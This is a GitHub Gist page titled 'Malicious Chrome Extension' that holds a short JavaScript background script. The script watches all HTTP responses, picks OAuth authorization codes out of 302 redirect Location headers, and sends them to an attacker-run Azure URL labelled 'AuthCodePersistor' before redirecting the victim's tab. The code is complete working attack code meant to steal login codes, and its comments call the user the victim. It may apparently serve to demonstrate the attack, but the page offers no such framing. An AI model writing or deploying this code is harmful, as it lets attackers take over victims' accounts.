Created
January 6, 2024 04:45
-
-
Save DavidKlempfner/b85903be4929ca25cd1ab7f3ff2edb13 to your computer and use it in GitHub Desktop.
Malicious Chrome Extension
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const callback = function(details) { | |
if (details.statusCode === 302) { | |
const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION'); | |
const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app | |
if (locationHeader && locationHeader.value.includes(callbackPath)) { | |
const authCode = locationHeader.value.split('=')[1].split('&')[0]; | |
// Victim code: | |
fetch('https://yourAzureUrl.net/AuthCodePersistor/' + authCode).then(r => r.text()).then(result => { | |
}); | |
chrome.tabs.update(details.tabId, {url: '<URL to send the victim to after the attack'}); | |
} | |
} | |
return { responseHeaders: details.responseHeaders }; | |
} | |
const filter = { urls: ["*://*/*"] }; | |
chrome.webRequest.onHeadersReceived.addListener(callback, filter, ["responseHeaders"]); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment